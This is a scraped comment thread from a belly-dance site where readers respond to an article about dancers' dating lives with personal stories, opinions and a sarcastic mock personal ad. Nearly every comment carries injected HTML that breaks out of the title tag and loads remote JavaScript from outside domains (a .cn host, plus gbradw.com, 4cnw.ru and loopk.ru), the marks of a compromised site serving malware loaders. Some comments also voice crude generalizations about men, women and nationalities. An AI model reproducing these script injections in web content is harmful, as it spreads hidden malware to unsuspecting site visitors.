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The Single Belly Dancer - Expl |
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| Aziza Al Tawil |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I could really relate to the article! I just scared off another one and I'm a pretty girl. Oh, well. I misinterpreted a shy Mountain Man for a rebel because he criticized George Bush and the whole sorry state of affairs by cursing. I thought he was great. Then I told him I was a belly dancer and political junkie. He ran as fast as he could on a stumped toe he suffered at the hands of his living room coffee table. (I wasn't there when he stumped it!) Crazy thing is that I thought he looked Turkish or Greek. (There are rumored to be some in Mountains from a couple a hundred years back). But I guess he wasn't or doesn't know it. Ha Ha. Aziza<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Zaffron13 |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Bravo, Layla Isis, Ecouraging article, some times we are going through all of this but are in some sort of denial, I don't know if you have read material that explain how Belly Dance came to America, I had, and it helps me to understand why Americans see Belly Dance the way they do, and it all started back in the 1890's with the imfamous World's Fair Columbian Exposition, when a man called Solomon Bloom managed to introduce to America via New York a Boat full of entertainers from the Middle East, accordingly, Americans think they ougth to be entertaint by other cultures because they are not inteligent enough to offer much else, sadly, Belly Dance is part of the entertainment they think they are entitle to, add to that the way Hollywood had presented Belly Dance, only to feed their fantasies of a harem that will never come close to reality, in many towns we still are addressed as Hoochy Coochy Dancers, to begin with, we need to educate our men to understand the history thar surround this Dance,and tell then to stop thinking of we Dancing to entertain then or any other men for that matter, so, uneducated men, unwilling to be educated men, insecure men, idiot stupid men, Hollywood educated men, "I want you to look at me all the time men" etc,etc,are not good prospects for a Profesinal Belly Dancer, and for any body else for that matter, so nex time a boyfriend tell you that he is living because you do not need him tell him it is true, and never again belive a man that think he is the perfect boyfriend for you, unless he have documeted proof that he have tour Egyp and couple of other Countrys of the middle east and is a personal friend of Fifi Adou. and dont do all what Venues owners want you to do just to entertain his patrons, and dont let then tell you that there are to many belly dancers out there, because the true is that there are too many GoGo Dancers dress in belly dance clothes, but they are very confuse and all they want is money, is time to demand more for what we do, and do it in our own terms, no more money in our belts or bra, let then put it in a basket, you don't know how many deseases people can carry in their hands, last but not less, venues are not the best places to find boyfriens. Mariela
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| kaeshi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Layla,
I must congratulate you on a very well written eloquent, entertaining and humorous article. It is clear that you are one highly intelligent and insightful gal... I am lucky to be in a long term relationship with a wonderful guy who is supportive of my career choice of being a full time bellydancer (been married for over 7.5 years)... However, I have had to make changes in my life in order for the relationship to survive... being selective about what type of gigs to accept and ultimately putting more priority on our relationship than on career. Even then, it's always a balancing act. I do believe that it is possible to have both, but I agree it's not easy. When I was in Las Vegas a few years back I surveyed the full time performers I was with (acrobats, musicians etc) about their relationships, and most were divorced or separated with kids scattered all over the globe. My conclusion is it's a universal issue that most entertainers have to face. Anyhow, good luck to you girl! If I meet someone with potential, I'll be sure to point him in your direction! Much love, Kaeshi
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| Jaklina |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Besides being a beautiful & talented performer your literary talents are apparent as well. Thank you for this wonderful article. You have hit the bullseye with this topic as I have been asking myself why is it so difficult to find a good man in today’s chaotic world? My friends and I constantly discuss this subject and always conclude that all the good men are either taken or prince charming fell off of his white horse and got lost along his way trying to find us. I think that no matter what you do whether it be a belly dancer, dietician, or just being independent intimidates men. I agree with you that we are healers as dancers and as females in general. Men value their dominance in this world, and if heaven forbid we should challenge that in any way they go a runnin.’ I once experienced a very bad break-up (as many of us girls have) and belly dance was my source of healing helping me connect to some higher power within myself. It’s very emotionally nurturing so even when I don’t have a partner by my side I don’t feel as bad. Of course it’s nice to have both. Mr. Right will find us some day and it could be in the middle of a shimmy or walking the dog, you never know. A Goddess deserves her equal so not to worry he’s out there gorgeous & he’ll be one lucky man when he finds you!
Love,
~Jaklina~
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| Ziad |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--…….wait a minute here! Are you saying that most men think with their d #@*s?? Well I happen to agree with you…but you know there are exceptions. Since I’m a MAN, let me shed some light on the subject, of course it’s from a man’s point of view, and given that I’m an Arabic man I may have different prospective than an American man. I see in general that most American women suffer from this issue and not just Bellydancers, …oh I mean GODESSES..forgive my slip of the tongue …although it is a bit harder with dancers given most of what you illustrated in your article. I believe the whole culture has a major problem when it comes to women and how they treat themselves in general. I don’t want to sound like a hypocrite where I’m criticizing the culture in America while so much of the culture in the Arab world is debunked and most Arab countries don’t even meet the basic standards of human rights. When I came here I couldn’t believe how easy it is to sleep with a women, very little self respect and dignity, I’m not talking about those who are in love and had spent some time together (few months at least), I’m talking about the women that just go with that hunk after one date or two or not even (I’m not suggesting you’re doing this because I don’t know you).
Don’t expect any commitment from that hunk- I know it’s a cliché – but {why buy the cow when you can get the milk for free}? Trust me most men use this and most women are in denial. If a man rejects you because you didn’t open your legs to him on the first few dates than he is NOT WORTHY and don’t waste your time and since you are a dancer you can multiply that by a hundred.
…and Jaklina, you’re right it’ not that smart to challenge a man..:-) Ziad
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| mayousse |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I want to commend you, Layla on such a fantastic article. Single is one word to describe me right now. For years, I've asked "why is everyone finding love but me". I've been bellydancing for years and I must say nothing in this world gets my whole body excited like bellydancing. However, I refuse to use the fact that I'm a bellydancer to attract men. I want a man to see me for me. The spiritual, talented, compassionate, kind, honorable me. A good man is HARD to find. My problem is that every man I've met have been around with so many different women. I know this sounds old fashioned but I find men like that disgusting. If they cannot have high morals and respect their own bodies, Why should I expect them to respect me. Layla, I'm proud to say I am a virgin. So in reply to Ziad's comment-not all american women are easy. Easy is one word that will NEVER describe me. I have to much respect for God, family, friends, and myself for that. Nor do I want to be compared to a cow with milk. Bellydancing reaches deep into my very being. I want a special man who not only understands that and not be intimidated but also not trying to change me either. Some are very quick to do that. I am convinced that their is someone out there that is right for you, for me, and all other ssb's out there. The key is knowing yourself, how much of your heart are you willing to give without giving your body, and what you can and cannot live without in a future beau. I personally can stand a man who acts like he's a dictator. If I want a politician, I'll date one. Age and experience has taught me what I want, and right now there is someone who has caught my eye. Time will tell. Someone once sent me an email that says women like us are on top of the fruit tree. Some men however, prefer to get the ugly, stepped on, bruised fruit that has fallen on the ground instead of the best fruits on top. Please keep that in mind. Make sure he loves you for you. All your talents, goals, dreams, and so forth. In the meantime, keep dancing, keep living, keep enjoying your family and friends. Enjoy your singleness. Mr. right for Layla might just take notice and actually do something about it. May Jehovah bless you and thanks again for that insightful article.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| LaylaIsis |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi dear ones, thank you so much for the wonderful comments about the article! I'm really happy that you could relate, and were encouraged to know that you are not alone!!! Strange twist of fate - couple days after I published this, someone amazing came into my life! How do you like that for the universe hearing you loud and clear?!! And yes, we've already dealt with the issues in stage one and two, and he wants to bring it on! It's almost as if I had to purge this stage of my life, by processing and writing it and sending it out in the world to create space to usher in the next stage. Who knows what the future holds, but single ladies out there - cry, scream, write, dance out the desires of your heart and you just may find what you're looking for! (yikes!) Blessings to all of you. xoxoxoxo Layla Isis<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Blanca |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Layla I'm so happy for you!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Razor |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Wishing all the best with your new man. In case it doesn't work out, I've condensed what I see in your article into a short ad that can be easily posted:
I am a beautiful belly dancer who seeks a tall, dark, red-haired horse-jockey. He should be in touch with his feminine side but not be intimidated by a strong, independent woman who needs to be dragged to the bedroom by the hair on occasion.
I’m avoiding dozens of new men I meet every week because they are all flakes. You must have infinite patience while watching these flakes hit on me.
I’m avoiding men who understand this dance, who are from the region of its origin, because they will make me stop dancing.
I’m avoiding men from the U.S. because they will think I’m making sexual advances. They just don’t understand.
I'm avoiding men who REALLY dig me. First off, I don't have much time in my schedule to give them. Additionally, they are obviously overwhelmed by my charms and grace, and as such have delusional, shallow, transient interest in me. They might also be wounded little boys who need to be cared for. My little girl fantasy of being a star doesn’t leave any room to take care of little boys.
I'm avoiding men who DON’T really dig me - they aren't willing to please, and they don’t fawn over me during the twenty minutes per week that we are both home. If you don’t fawn over me enough, I’ll invite one of the flakes over for dinner with us, scold you afterwards for being insecure, and harvest the sympathy of my friends by telling them you have Irritable Man Syndrome.
Despite this pile of hilarious contradictions, there will be a mob of suitors lined up – because I’m THAT freaking hot. I DESERVE the impossible, dammit – preferably in a Porsche. An orange one.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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